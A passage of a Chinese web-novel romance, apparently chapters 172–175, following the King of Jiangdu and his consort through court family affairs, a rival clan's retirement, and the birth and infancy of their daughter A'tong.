其余人即便是知道了也终究是隔了一层,百里漾好歹也算是自小与宜城公主在宫中一块长大的,对宜城公主的性子知晓些,又知道了前段时间贺文渐因为要争庆阳侯世子之位闹出来的事情,事情发展至今,他就知道宜城公主与贺文渐和离之心已定,如今不过是最后的时刻了。 百里漾道:“可能出了正月,和离的旨意才会下发。” 皇帝对此事的态度是听凭宜城公主的意愿,没有立即应下并非是拖延时间, 只是让她想清楚了,省得日后后悔又折腾出事来。正月里和离显然不是一个好意头,宜城公主也应下了,不过是再等一段时间而已。 可贺文渐显然是不想被休的,庆阳侯虽然没有选择次子作为世子,但并不代表真的就完全不管这个儿子了,儿子都还在宗谱上呢,若是被宜城公主休了,日后这个儿子还用出门见人么,庆阳侯府恐怕要很长一段时间里沦为别人茶余饭后的谈资和笑料了。 不行,和离之事绝对不行。一定要想方设法使得宜城公主回心转意,即便不能也要使和离之事不能成。为此,庆阳侯甚至还舔着老脸跑到皇帝面前去求情,可是当贺文渐私置外室的事情暴出来,他也没脸在皇帝面前说什么了,还得因为教子无方、辱没公主而向皇帝请罪。 “可能在贺文渐心里,做这个驸马也是委屈了,如今成全他了,他反倒不乐意了。”百里漾如今是真心瞧不起贺文渐这个人。 通过争夺庆阳侯世子之位的事情也看出来了,贺文渐之前的安分守己只是暂时屈服于现状而已,他并不愿意一辈子只做一个只需围着公主转的富贵闲人,他想要权,他想享受别的权贵子弟妻妾成群的待遇。一旦有机会,他就会迅速变脸,什么情分诺言都是假的。 可人不能既要又要,做驸马是他自己选的,没有人对他强取豪夺。以前觉得自己是继承庆阳侯府无望退而求其次选了做驸马,如今想要一朝翻脸不认人,做他的春秋大梦去。 百里漾越想越气,上下牙齿都磨着了,面上却是笑着的,“庆阳侯府离我这王宅很有一段距离,我们这位二姐夫大老远跑过来一趟也不容易,怎好让他白跑一趟,明日我就去找二姐好好‘说道说道’。”刻意在后面四个字加了重音。 百里漾是真不知道贺文渐是怎么想的。 贺文渐张口一句“若能助得我夫妇重归于好,庆阳侯府定然不忘大王相助之恩”开了一张空投支票就想让百里漾去二姐宜城公主面前为他求情。如今的庆阳侯世子可不是他,他哪来的脸觉得自己就能代表整个庆阳侯府了,问过他爹庆阳侯,问过他弟弟庆阳侯世子了么? 百里漾现在有点理解庆阳侯为什么不选这个更为年长的儿子担当世子之位,太蠢了。这么蠢的儿子,真把庆阳侯府的未来交给他,庆阳侯府估计也没什么未来可言了。 “大王,承让了。”随着最后一颗白子落下,棋盘上的白子将黑子彻底咬死,颜漪向百里漾宣告了这局又是自己赢了。 “欸?”百里漾惊叹一声,连忙去看棋盘,发现自己的黑子确实是无力回天了,自己又输了,这下棋自己似乎就没怎么赢过王妃。今日他们已经对弈了三局了,百里漾只赢了一局,算下来也是输了。 “大王在后面分神了,否则未必会输。”颜漪说的是百里漾因为贺文渐到访之事分了神,这最后一局也是中途打断再续上的。 “他可真不会挑时候来。”百里漾觉得贺文渐的到来打扰了他与王妃的相处,还向他提出如此可笑的条件交换。随即,他又挑眉道:“至少下一次回来在家宴上不会再看到此人了。” 正常情况下,他们下一次回湛京也要等到今年年底了,到那时候,宜城公主早就与贺文渐和离了,贺文渐与百里氏也就再没有了任何关系,即便后面百里漾会再遇到贺文渐,他们之间剩下的也就只有君臣关系了。 可以不用与贺文渐这种烂人做家人,下次见面甚至都不需要客气地叫他姐夫,想想也算是一件值得令人高兴的事情。 这样想着再看棋盘上被咬死的黑子也不觉得有什么了,何况输给自己的王妃也不算丢人,百里漾与王妃约定了下次有时间再对弈,伸手将黑白棋子分别拢到棋盒里。 时间也恰恰好,不多时就有侍女进来禀报说门房已经套好马车。 是了,他们今日要去定国公府用晚饭,也是他们离开湛京之前去向定国公与曹氏道别。 拜帖是前日递去的,不好迟到。两人去换了一身衣服后便携手往定国公府去了。 因为在京的诸侯王们即将离京返回封地,皇帝又再次将众人召集起来举行了一次家宴。这次家宴的人数比除夕宴上的少了将近一半,主要是剔除了那些血缘关系与皇帝这一支较远的人,赴宴之人主要是高皇帝传下来的子孙血脉。 除此之外,这一次来赴宴的人里少了被贬斥出京的长夏王一家,宜城公主身边也没有了驸马贺文渐。上元节已过,宜城公主也向皇帝请求与贺文渐和离,就没有什么必要还让贺文渐待在身边碍自己的眼了。 大家对她近来的情况心知肚明,也不会自讨没趣地在她面前提起贺文渐这个人。不过不少人还是眼尖地发现了宜城公主与弟弟山阳王间的不睦。好几次山阳王想要给姐姐宜城公主敬酒,宜城公主都没有理会他,次数多了更嫌他烦,离席到长姐百里澄那边喝酒去了。 山阳王几次主动示好被姐姐给无视过去,脸色也有些不好看。他身边的王妃察觉到了丈夫的怒火,伸手抚上了他的手臂,示意他不要忘记当下是什么场合。山阳王往周围扫了一圈,见似乎有人看过来了,随即压下怒火,面上露出一副无奈又黯然的神色。 作为宜城公主与山阳王生母的郑妃也看到了这一幕,偏偏身边还有其余人看着,只好露出一个尴尬又不失礼貌的假笑。她知道肯定有人在看笑话,但她能有什么办法?女儿任性不听她的,觉得她心里只有弟弟,因此迁怒到弟弟身上,这段时间对弟弟鼻子不是鼻子眼睛不是眼睛的,她也很心累无力啊。 “儿女都是债,我们这些做爹娘的凡事都看开些就好了。驸马不好,咱们就再换一个,咱们百里氏的女儿还能愁嫁么。”旁边的荣王妃看到郑妃愁苦着一张脸,劝慰她说道。 郑妃听着这话觉得刺耳,下意识地觉得荣王妃在暗讽她看不开。可是对着荣王妃那张笑吟吟的憨厚面相却不能说出什么难听的话来,郑妃只好挤出笑容,谢过荣王妃的关心。 …… 正月一出,在京的藩王就陆续启程返回封地了。 高举着江都王旗的队伍刚走出湛京城十里,前方已然有人在等候了。队伍前方负责探路的骑兵快马来报,说是栎阳长公主就在前方,特来为百里漾等人送行。 百里漾惊喜,令队伍暂且停下,他与颜漪以及崔栋则前去与百里澄相见。 随着走近,他们发现百里澄不是一人来的,在她身边还有一名男子。待看清楚那名男子的面容之后,百里漾稍显意外但又不是那么意外,因为这名年轻男子他是认识的,还在曾经在长姐身边见过。这个时候长姐带着此人来给他们送行,这代表着什么无需多言。 相比于百里漾与颜漪的淡定,崔栋则是完全淡定不了了,他瞪大了眼睛将百里澄身边的男子看了又看,甚至还用力擦了擦眼睛,以为自己出现的幻觉。 百里漾提醒他,“你这大惊小怪的模样再不收收,小心等下挨阿姐的揍。” “不是,那人谁啊?我怎么从来没有见过。” 崔栋赶紧收敛了表情,问百里漾道。他算是看出来了,合着三人里就他不知道。 你们一个文官,一个武将,甚至都不是一个圈子里的,平日里哪会有什么交集。 百里漾颇为无语地看了崔栋一眼,转头又去看与百里澄与并肩而立的闻夏。长姐与闻夏的交往是在私底下进行的,若非他与王妃偶然在前年中秋夜碰见了一同出游的两人,估计也会如同如今的崔栋一样愕然。 眼下长姐将人直接带到了他们面前,也是要将她与闻夏的关系摆到明面上了。 也就是说,他要多出一个姐夫来了?! 百里漾的心情有那么一点点的微妙。 两拨人很快相会,这边百里漾三人唤完百里澄“阿姐”,目光都往旁边的闻夏移去。闻夏察觉到了众人的注目,赶紧朝三人见礼。 百里漾与颜漪早就知晓百里澄与闻夏的事情,容色还算平静。崔栋就不是很能淡定了,他以一个娘家人弟弟的身份将闻夏上下打量了一遍,长得是好看,就是身子骨瞧着有些弱不禁风,典型的文弱书生,阿姐喜欢的竟是这种小白脸?! 闻夏是百里澄领来的,崔栋知道这代表了什么,故而对闻夏只是好奇打量,并未表现出什么不善来。 闻夏任由他打量,心中已没有了未见之前的紧张。 两拨人都算的上是第一次正式见面,彼此都需要百里澄这个与两边都有关系的人来引见,介绍闻夏的身份- 作者有话说:更新啦,求评论。[可怜] 第173章 三年(上) 百里澄很坦然, 神色自若道:“这是闻夏,未来当是你们的姐夫,你们提前叫也可。” “!”虽然心里也有了准备, 但当百里澄说出来后,百里漾与崔栋都还是吃了一惊,他们看着面前这个笑得有些憨傻的年轻男子,憋了好一会儿才喊出一声“姐夫”。 闻夏被他们一声“姐夫”喊得既惊又喜,下意识看向百里澄时看到她眼眸中的笑意, 那颗心顿时就安定了, 也笑着朝他们回礼。 百里澄既是特意来送行了, 除了向百里漾等人正式介绍闻夏之外,自然也是有一些嘱托之言要说与他们听的。这时候闻夏就很识趣地退开几步之外, 不远亦不近,百里澄一回头就能够看到他。 百里澄先看向百里漾, 看着这个已经长得自己高大半个头的弟弟,眉目舒缓显出柔和, 说道:“京中局势你已见晓, 心中有数即可。湛京有我与阿兄, 你在江都务必照顾好自己与弟妹,凡事稳中求进,勿使歹人有可趁之机。你们在江都安好了,我与阿娘他们才能安心。” 长姐一番殷殷嘱咐,百里漾想到朝中局势,面色带出几分凝重,郑重应下。 说完亲弟弟,也要说一说表弟,百里澄转眼看向崔栋, 崔栋立即挺直了身板,“阿姐您有什么嘱咐我都听着呢。” 这副小学生积极听训的模样让百里漾真是没眼看。 百里澄说了一句,“已是做爹的人了,今后做事更当稳重些。”这个表弟成亲之后确实有些样子了,但能更沉稳些自是更好的。还没有等崔栋反应,她便又说道:“你在江都辅佐五郎数年,如今江都已渐稳当,再过个一两年你便回来罢。” 崔栋毕竟是大将军崔预独子,他若一直在江都,如何接手大将军府的家业。原先随百里漾就封既是辅佐也是为了两人彼此能有一个照应。如今江都渐渐稳了,京中局势越到后面越是容易瞬息万变,各处都要安插有足以信任之人,尤以掌兵之处最是要紧。崔栋走的是武官武将的路子,将他调回湛京亦有大用。 这一层顾虑,在场之人都能够心领神会。 对于此事崔栋并不意外,此前他爹崔大将军就与他透露过这个意思,他朝百里漾眨眨眼,随后笑呵呵回道:“那我争取在江都这一两年多立些战功。” 他是武官,获得升迁最快最好的途径就是立战功。不久的将来百里澄他们要将他调入湛京,属于是从地方封国升迁入湛京做京官,他身上若是多些功绩,百里澄他们运作起来也不会太费事。 简单的话别之后,百里澄便让百里漾他们启程了,以免在天黑之前赶不到驿站只能夜宿山林。 回程一路顺遂。 王与王妃回国,依旧是范国相率领封国一众官员出城迎接。 得知自己与王妃在湛京的那段日子里江都境内一切平稳安好,百里漾很高兴,就连看褚氏那些人都觉得顺眼多了。他犒赏了替他留守江都处理事务的范国相等人,其余尽忠职守者皆有赏赐,一下使得大家都高兴了。 百里漾回到江都,只歇了一日便投入到江都的各项杂事要事之中去。眼下重要的是春耕之事,所谓一年之计在于春,于农事来说更是如此,关系到一年的收成,与百姓的肚子息息相关,容不得半点马虎。按照他往年的习惯是要到江都各处都去巡看的,这次也不例外,依旧是崔栋随行,只不过这次他还将王妃给带上了。 百里漾初闻王妃要一道同他去巡看春耕时很是高兴,不一会儿又显出踌躇来,“这次巡看要奔走与田间地头,遇上春雨,道路泥泞难行,不是易事。”他是很想王妃同他一道去的,可这趟去必定辛苦,他怕王妃受不住。 颜漪一眼便看出了他的顾虑,微微笑道:“大王无需为我担忧,如今我每日习武,想来不会拖累大王。况且,江都郡城之外的许多风景,我还从未见过呢。” “好,我们一道去。”百里漾叫她那双眼眸看得心中微微发热,当即应下了此事,心中则是决定要安排好一切不让王妃受苦。 整整一个二月,百里漾与颜漪几乎将整个江都国都跑遍了。他们对外只是一对四处游玩的夫妻,身后跟着十来个精英亲卫扮作的护卫,叫人即便不识他们的身份也不敢轻易招惹。 一路上他们路过城郭、村庄,住过县城中稍显简陋的客栈,也投宿过农家,甚至还有夜宿山林的际遇。遇上的人也不少,大多数都是纯朴的百姓,也有遇到过不长眼的小偷小摸,甚至还有倚仗家世胡作非为的恶霸强抢民男,而这个“民男”就是百里漾。 是的,这恶霸爱好颇为独特,不爱红妆爱蓝颜,在酒楼上一眼看上了街上路过的百里漾,“噔噔噔”跑下楼来就要掳他回去。百里漾哪里遭遇过这等事,尽管将那恶霸处置了,但脸还是黑了好几日。这妥妥的黑历史,气得他令亲卫们谁也不许透露出去。 虽然过程中遇到了些许不愉快,但这一路上大体是好的。百里漾携王妃出来巡看春耕,轻车简从,辛苦是避免不了的,可颜漪却从不喊累说苦,相反她于农事亦颇有了解,总与百里漾能够说到一处去,令他更为欢喜,两人的话题越拓越宽。百里漾觉得他与王妃能有一辈子都说不完的话。 从这次春耕巡看之后,往后遇到这种需要出远门之事,若两人都方便,百里漾都会携颜漪一道出行,并非每次都会轻车简从,有时显露了身份,处置了一些不平不公之事,渐渐的也传出了王妃仁德贤明的名声来。 岁月安稳,江都境内一片安宁祥和。百里漾作为江都王的威信与日俱增,封国之中由他提拔任用的一些年轻官员如傅殷、秦致方等已站稳了脚跟,他们年轻气盛、有能力有想法亦有冲劲,许多事情交给他们去办很多时候都能得到一个相当漂亮的结果。 世族已很少跳出来闹腾作妖了。 褚氏的褚之邑在兴业十七年秋以身体不济不足以担当定襄将军之重任为由向百里漾上书乞骸骨,谁都知道这乞退的理由也仅仅是一个好听的理由罢了,褚之邑自己主动卸任定襄将军之位还能够得到一个相对体面的荣退,总比不知道什么时候被清查获罪的好。 如今的江都已彻底在百里漾的掌握之中了,褚氏即便再想翻起什么浪也是有心无力。江都的世族这些年已不如之前抱团成势了,各家世族也不再以褚氏为首,且他们自家内部还乱着呢。世族各家内部出了一些有能耐的庶出之子受提拔入仕为官,手中掌握权柄,已不服嫡支指使管教了,乃至有夺权的迹象。 百里漾再想颁布施行什么律令政策,世族即使反对声音也不如之前的大且多了,弹压下去也不如以前的费劲艰难了。 世族一步退只能步步退,如今都不敢怎么冒头了。 虽然百里漾看世族不怎么顺眼,但他也并非要对世族斩尽杀绝,若真是如此做了,这牵连的人就太多了,他自己也会留下一个残暴的坏名声。世族之中还是有不少能人的,能用则用,也不会浪费良才。世族树大根深是不假,但根与根、枝与枝之间打架的时候并非没有,内部都不做到同气连枝,自己阵脚也就乱了,都不用百里漾出手去收拾他们。 话题说回来,百里漾并没有直接开口允了褚之邑辞去定襄将军之位之事,而是收下了褚之邑乞退的奏疏,押后再议。 晚间,百里漾回到永延殿,用完晚膳、沐浴之后躺在床榻上,与颜漪说起了此事,“算他识趣,没有巴着那位子不放。他这定襄将军任着不过是一个名头而已,占着无非是讨人嫌,自己退下来反而是一件两全其美之事。” 兴业十三年时,百里漾巡视边境,借着“肃清不法”的名头将褚氏在边境经营多年形成的铁通踹出了一个大洞,褚之邑手底下的势力都一举削去大半,虽然没有把他这个定襄将军削成光杆司令,但也算是元气大伤了。 可这并不是到此为止了。 永定大营何等重要,几万人马的兵权百里漾怎么可能容许一个褚氏之人掌着,即便是名义上的都不行。 这个时代,手里有兵才是最稳妥的。江都的隔壁就是定安国,万一哪天定安王看他不爽生出了兴兵灭了他的想法,与褚氏一拍即合,自己岂不是腹背受敌了?!虽然这个想法很极端,几乎不可能会发生,但这也恰恰证明了由褚氏之人掌握他江都兵权的致命危害。 百里漾这些年一直在不断地提拔更年轻更有能耐的将领,到现在已经彻底将褚之邑这个定襄将军架空了,如今的永定大营只认他这个江都王,定襄将军的权力回归到了原本该在的位置,无论如何也越不过百里漾这个大王去。 但这还不算完,百里漾是不会让褚氏之人占着这个位子的。正当他想着如何比较妥善地办成这件事时,褚之邑自己提出来了,所以百里漾说褚之邑识趣。 “向来是识时务者为俊杰,褚氏也该是知道何事可为与不可为了。”颜漪对褚之邑此举如此评价道。 百里漾笑得愉悦,眼中有光似是看透了一切,“一切向好时自然附和者众,可一旦水深流急有覆舟之虞,不是所有人都愿意陪着一起翻船的。”- 作者有话说:更新啦,求评论。[可怜] 第174章 三年(中) 褚氏是大族不假, 哪怕到现在破船也有三千钉,当它拧成一股绳一致对外时,确实是一根难啃的骨头, 可若是这股绳自己散了或是断了呢?他们自己就会乱了阵脚、自顾不暇。褚氏之前想靠着支持定安王上位搏一个从龙之功,从而让褚氏重回巅峰。为此,褚之彦嫁了一个嫡长女过去,与定安王达成了深度绑定。 无论是褚氏还是定安王都计划得挺美的,可惜一步错是步步错, 皇帝一招重新划定封国就将两边结成的联合之势给牢牢掐住了脖子。而这些年随着百里漾逐步加深对江都的掌控, 褚氏与本土世族接连受挫, 褚氏内部的其余人忍不住开始质疑起褚之彦这个宗族长指挥宗族前进方向的正确性,分歧随之而来, 甚至越来越不可弥合了。 还是那句话,花团锦簇时人人叫好;遇着风吹雨打了, 那些原先最为附从的人最先想着的是如何保全自身。 “褚之彦这一支能够压过褚氏其他房支有很大一部分源于褚之邑的支持,如今褚之邑要从定襄将军的位子上退下来了, 他的话也没有那么管用了, 褚之彦的威信也要大打折扣了。”百里漾不用细想就能够预想到以后褚氏内部少不了争权夺利的乱子, 不免有些等着看戏的心态。 “大王要如何处置这封奏疏呢?”坐在梳妆镜前从一头青丝散落梳理顺畅后,颜漪起身朝百里漾走来,坐在床榻边上,微微俯身向下,轻声问道。 她披散的发也从肩头上滑落些许下来,正好落到百里漾面前,轻轻扫过他的眉眼,带起一阵酥麻的痒意。抬首捉住了那些调皮的青丝,仰视身前的王妃, 百里漾眼里笑意灿然,将一缕青丝绕在手指间勾缠,语气有些漫不经心,“先搁着几日,再做一番挽留,最后依着惯例办就是了。” 褚之邑到底是镇守边境多年的老将领,没有功劳也有苦劳,这次又如此识趣。他不与百里漾添堵添乱,百里漾也不与他为难,该有的荣退待遇都会给他。顺便也能借着此事安一安其余世族的心。 “大王虑事周到。”颜漪夸道,她也想到了这一茬。 江都的世族之前可是没少跟着褚氏给百里漾下绊子乃至作对的。如今眼看着百里漾这个江都王起来了,他们知道再继续作对下去不会有好下场,想要收手示好却又怕百里漾记仇不给他们活路,正惴惴不安着呢。 局势已经彻底向百里漾这边倾倒了,没有必要非要将这些世族逼到死角让他们拼个鱼死网破破坏如今江都的大好局面,眼下正好借褚之邑乞退之事向那些正在观望的世族传递一个信号——只要他们日后能够忠心奉上、尽忠职守,以前的事情可以既往不咎。 “便宜他们了。”虽然内心已经有了决断,但百里漾难免心里有点不舒服。他可没有忘记自己初到江都的前两年那些世族是怎么联合起来对抗他的,让他处处不顺。 颜漪很熟练地给他顺毛,“大王宽宏大量给了他们一次机会,但机会也只能有一次,若是他们再不收敛识相,大王再彻底收拾了他们也不迟。” “世族里还是有些人是好的,不能完全一棒子打死了。”百里漾被顺毛顺得很舒服了,但他还觉得不够,拉着王妃的手摸上自己的脸,这使得两人本来就很近的距离愈发亲近了,再离得近些,他们就可以感受到彼此的呼吸,气氛逐渐变得灼热。 百里漾以仰视的视角看着自己上方的颜漪,眼中的痴迷与爱恋不加掩饰。他与王妃成亲至今已有四年,相伴四年,他愈发觉得王妃没有一处使不好的,他没有一处是不喜欢的。王妃依旧是那么的温婉动人,如今更是多了一股别样的动人风情,更加的温润柔和,令人着迷。 四年夫妻,彼此之间已经很熟悉了。 颜漪看百里漾的神色便知他在想什么,呼吸不由加快,但她似有顾虑,起身要拉开二人这有些“危险”的距离,却被百里漾拉住了手,一用力便将人拉着倒到了自己的身上,顺势将人抱住,发出心满意足地一声喟叹。 “王妃放心,阿瞳没有那么快过来的。”百里漾知道颜漪在顾虑什么,想到那个缠人的小家伙,他忍不住发出笑声,通过胸腔的震动传递到了颜漪身上,说着又有点哀怨,“我觉得自从有了阿瞳,我在王妃心里的地位都下降了。” “大王也不觉害臊,竟吃起了阿瞳的醋。”颜漪忍不住轻笑道。她虽是这么说着,可身体已很默契地靠入百里漾怀中,换了一个舒服的姿势靠着,享受两人之间难得的宁静。 百里漾可不觉得吃醋有什么不对的,即便是吃自己女儿的醋。他想到被初禾带着沐浴即将回来的女儿,原先的哀怨很快变成了老父亲的浓浓欢喜与跃跃欲试,“我今日闲着无事给她削了一只小木马,等会给她试试。” 颜漪还能不知道百里漾,嘴上说是闲着无事,实则就是特意做的。 自从女儿阿瞳降生之后,百里漾一颗拳拳爱女之心便如江河泛滥成灾,不仅什么都要给阿瞳更好的,还时不时琢磨着要亲自给阿瞳做些什么。只是阿瞳如今不过一岁多一点,路都走得不稳当,说话也只会叫爹娘,吐别的字都不太清楚,她哪里知道自己到手的物什是阿爹抽空做了多久才做出来的,感兴趣了玩两下,不感兴趣了就扔一边。 饶是如此,百里漾也乐此不疲,颜漪也就由着他了。 颜漪查出身孕是在兴业十五年十月中旬,那日本来很寻常,百里漾在长乐殿召傅殷等人议事,忽然永延殿有人来报,说是王妃身体不适突然晕过去了。百里漾当即顾不得什么,撇下众人奔去永延殿,随后便得知了一个令他又惊又喜的消息——王妃有孕了。 百里漾永远也不会忘记那日的情形。他在众人的注视之下走到王妃面前,傻傻地盯着她看了好一会儿,先是笑又是无措,慌手慌脚地不知道手该往哪里放,想要摸摸王妃的肚腹,那里已经有他们的孩子了,却又怕自己手脚不知轻重伤害到王妃。是王妃看到了他的惊喜与无措,拉着他的手慢慢地放在了小腹上,带着无限的温柔,“大王,他在这里。” 虽然理智告诉百里漾,现在月份还很小,孩子甚至都没有成形,可他那时候满脑子只有一个想法——这里面是他与王妃的孩子,他就在这,不久的将来就要与他们见面了。 “这是我们的孩子,他在这里?!”百里漾还如坠梦中,愣愣朝王妃求证道。 “是,这是我们的孩子,他在这里。”颜漪看着百里漾欢喜到傻愣的模样,心中唯有柔软,伸手覆上百里漾抚在她腹上的手,告诉他眼前的一切都是真的。 一瞬间,百里漾只觉得自己被巨大的欢喜淹没了。他高兴地开口就说要赏赐永延殿中伺候的所有人,乃至整座王宫中的人都有赏赐。随即开始着手安排王妃有孕之后的各项事宜,所有的事项之中以王妃为最高优先级。 百里漾前世没生过孩子,这辈子自己是生不了了,只能由王妃来孕育他们共同的孩子。他是知道孕育生产的辛苦和凶险的,很害怕王妃出现前世时他看到过得那些不好的症状,于是从知晓王妃怀孕之后,他的心情很快从欢喜更多的变成了焦虑,时常一副忧心忡忡的模样。 这个时候的医疗技术并不如后世的发达,这也是百里漾所担忧的一点。现实条件如此,唯有将事前准备都做在前头,做好一切预防以迎接新生儿的到来。百里漾抽出了更多的时间用来陪伴颜漪,一些他能做的事情绝不假手于他人,争取与她一起见证孩子成长的每一个重要时刻。 孩子的第一次胎动是在夜晚。那时候颜漪的肚子已经显怀了,是夜,百里漾照例坐在床榻上,给孩子做完胎教(有时候是念书,有时候是吹奏一些曲子)后,他照例附耳在王妃的肚子上与孩子说话。以前都是他自顾自地说,王妃腹中孩子并没有任何回应。百里漾也都习惯了,这次也是如此,说完便打算安置睡了。 谁料,他刚要撤身回来,贴着王妃肚子的脸突然被撞了一下,又一下。 百里漾瞬间惊了,还有点回不过神来,“动了,是动了……他还想踹了我一下。” 颜漪作为孕育孩子的人比百里漾感受到的更为强烈,她明确感受到孩子是动了两下,看着百里漾再次欢喜地附耳去倾听肚子里孩子的动静,她有了一种名为幸福的感觉。 可惜的是,第一次胎动的两下过后,任是百里漾再如何倾听,他们的孩子却是一点回应都不愿意再给自己翘首以待的新手父母了。而这孩子在肚子里似乎调皮得很,喜欢给父母惊喜。往往都是在不经意的时候闹出一点动静,惹得百里漾与颜漪惊喜。 好在他真的是一个体贴的乖孩子,让颜漪在孕育过程中并没有受多大的罪,孕吐是有,但症状却很轻微,诸如双脚浮肿这样的孕期症状也是几近于没有的,真是个乖宝宝来着。这让一直提心吊胆的百里漾心情放轻松不少。 然而,一整个孕期都很乖的孩子在出生时却是将他的母亲折腾了一番。 阿瞳是在兴业十六年六月初六,太阳初升之时降临到这个世间的。在产房之外焦灼等待了一夜的百里漾听到自产房传出的那一声清亮的婴儿哭声时,天空之上,云层恰好被数道金光穿刺破开,洒向人间,也落到了百里漾的身上。 那一瞬间,迎着新生的初阳,百里漾眼眶发热的同时推翻了之前他与王妃取下备用的一大堆名字。 如日之升,是朝日,亦是亭瞳。 后来百里漾抱着刚出生已收拾干净的女儿去给王妃看,说了自己听到婴啼声时的所见所想,“亭瞳,我们的孩子叫做阿瞳,如何?” “亭瞳么?”刚刚生产过后的颜漪面色犹带虚白,看着被百里漾抱在怀中睡得香甜的女儿,眸中无限温柔,“很美的名字,我们就叫她阿瞳吧。” 自此之后,百里漾与颜漪小两口成功升级为三口之家。两人的生活之中多出了一个磨缠人的小家伙,可谓是甜蜜的负担- 作者有话说:更新啦。 第175章 三年(下) “哒哒哒”, 很明显的一轻一重的脚步声传来,还伴着几声空灵的叮铃声,后面还有初禾的小声惊呼, “小王女,慢着些,别摔着。” 百里漾与颜漪迅速从床榻上起身,恢复了大王与王妃在人前应有的端严与得体。他们不约而同将目光投向正对着寝殿门口摆放的屏风一角,等待着某个小身影从那里出现。 不多时, 一个走路摇摇晃晃犹如冰川极地上某种黑白两色圆滚滚的动物地软糯小团子踩着虎头鞋出现在两人的视野之中。 看见阿爹阿娘, 小团子很是兴奋, 更加用力地迈动着小短腿朝二人奔来,仿若乳燕归巢, 过程免不了摇摆,在站不稳跌倒之前准确地将自己投入到了阿娘, 不,是早已伸出双手的阿爹的怀抱之中。 两人在阿瞳要奔过来时提前蹲下, 等着女儿过来投入怀抱。百里漾眼尖动作也快, 在看到阿瞳如同之前无数次如出一辙地选择奔向阿娘而不是他这个阿爹时, 他选择了出手截胡,两步上前截住,如愿以偿地抱到了香香软软的闺女团子一枚。 “爹爹的宝贝阿瞳,一会儿不见就想阿瞳想得不得了。阿瞳有没有想阿爹啊?”百里漾轻而易举地将阿瞳抱起,让她坐在自己的臂弯里,亲昵地轻刮她秀气玲珑的小鼻子。 “不、不不。” 阿瞳说话要比一般的孩子晚些,但却格外聪慧。她明明是要阿娘抱的,不是阿爹,一边用小手推着百里漾的脸, 一边朝眼前的阿娘伸手够去,“阿娘,抱,抱阿瞳。” 颜漪乐得看百里漾与阿瞳父女亲近,也就没有如女儿的愿包过她,只是捏了捏她的小手以示安抚。 阿瞳出生之后,虽然王宫之中有奶嬷嬷、侍女等人全天候全方位地照顾这个唯一的小王女,但初为人父为人母的百里漾与颜漪并不能完全放心将阿瞳交给她们照顾,自己就当甩手掌柜了。两人都在努力地学着如何照顾女儿,给予她更多来自父母的关爱,凡事自己能够亲力亲为的就不会假于他人之手。 永延殿以及长乐殿之中甚至都摆有独属于阿瞳的婴儿床,为的就是能够第一时间照看到女儿。 新生的婴儿大多哭闹,阿瞳也不例外。最开始的两三个月经常半夜醒来的阿瞳确实将他们闹得不轻,很长一段时间睡不好觉。颜漪心疼百里漾白日里忙于江都各项事务不得休息,提议让他回长乐殿或是将阿瞳置于偏殿让奶嬷嬷她们照顾,可这两个选项百里漾都不想选,他既不舍得王妃也不舍得女儿。 是,以他如今所处的身份地位确实可以将照顾女儿的事情托付给旁人去做,乃至自己还有“国事为重”这样听起来很说得过去的理由,可他拒绝这样做。真这样做了,他无疑会缺席女儿成长过程中的某些重要时刻,也可耻地规避了一些他作为父亲应该承担的责任。 百里漾不想着这么做。阿瞳是他前后两辈子加起来才有的孩子,也是他与所爱之人共同孕育的孩子,他不想缺席阿瞳正常的每一点一滴。 辛苦点就辛苦点吧,但也是乐在其中不是么。 也因此,阿瞳从小都是被父母带在身边照顾的,对两人极是亲近依赖。但就像是一碗水很难端平,阿瞳对双亲的喜爱程度也是不一的,非要分个高下的话,阿瞳无疑更喜欢温柔香香的阿娘。在有颜漪在场的时候,阿瞳谁也不要就要阿娘,连亲爹都要靠边站。 百里漾说不吃味是假的,但他也知道孩子天性就是更喜欢亲近母亲的。对于阿瞳,王妃的付出比他多得多了,阿瞳更喜欢阿娘也是理所当然的。 “啊,阿瞳竟然不想阿爹么,阿爹可太难过了。”百里漾被女儿的小手推拒着脸,故作伤心状。 “不,不对。”阿瞳看不得阿爹哭兮兮地做戏,扭过小身子小手“啪”一下捂住了百里漾的嘴,小眉毛皱起,稚嫩的小脸上满是严肃,她要纠正阿爹对她话的理解,“不是、不是不、想,阿瞳,阿瞳要阿娘、抱。” 小小的人,板着小脸,水亮发黑的大眼睛认真地看着百里漾,一副“阿爹你不要胡乱曲解”的正经模样,实在是把人萌得不要不要的。阿瞳的样貌融合了百里漾与颜漪的优点,眉眼似百里漾,其余各处则是想极了颜漪,一看就活脱脱的是一个小版颜漪。 百里漾每次抱着阿瞳,心中都被一种名为幸福的满足感装满了,他软声哄道:“好好好,阿爹错了,阿瞳不是不想阿爹。阿爹也想阿瞳,让阿爹抱抱阿瞳好不好?” 阿瞳扭头看了看边上含笑看着他们的阿娘,又看了看一脸期待的阿爹,小脑袋点了点,两只小胳膊抱住他的脖颈,脑袋也随之靠在他的肩头上,一副全身心依赖的乖巧样子。 百里漾见此,心都能融化了。 颜漪在一旁看着他们父女俩亲近玩闹,眼眸中的笑意一直没有消散过。 一家三口照例在睡前做了一些益智小游戏,哄着阿瞳睡着之后,两人坐在旁边看着熟睡的阿瞳,一切都很安静,除了阿瞳响起时不时的小呼噜声。 “她好小,比刚出生时长大了一些,但还是好小。”百里漾看着小小的阿瞳忍不住低声发出惊叹。他的女儿,小小的一只,让人觉得她是可爱也是脆弱的,想要倾尽一切去呵护她。 他这样子让颜漪想到了他最初抱着阿瞳浑身僵硬、想动又不敢动的紧张兮兮的模样,心里再次软成一片,“她会长大的,我们会看着她慢慢一点一点长大。” “嗯。”百里漾伸手握住了颜漪的,忽然又摇头,“她还是慢些长大吧。” 他如今算是能够体会那种期盼女儿快快长大却又不舍得她长大的惆怅心情了。女儿长大了就要嫁人,在这个时代尤其如此,女子婚嫁年龄那般早,即便是天家许多也只是留到十六七岁就要出阁了,可这样的年龄在百里漾看来还是太早了,即便是二十岁他都嫌早了。 颜漪看百里漾突然就变得愁眉苦脸,也不知道他一瞬间想了什么,不过,大抵是能够猜出来一些,因为他自阿瞳出生之后,时不时就有透露出一些“老父亲的惆怅”来。她以前有安慰过他,但是没有什么效果。不过也不必担心,百里漾自己就能够将自己安慰好,只不过下一次还会“复发”,如此周而复始。 果不其然,百里漾很快靠着“女儿还这么小小的一只,离她长大还长远着呢”的想法自己给自己安慰好了,只不过他很快就惦记起了另一件事,“阿瞳在王宫中会不会觉得孤单?” “孤单?”颜漪有些没有跟上百里漾的思路。 百里漾看着阿瞳,隔着被褥轻拍着,“如今宫中只有她一个孩子,身边连个同龄的玩伴都没有。” 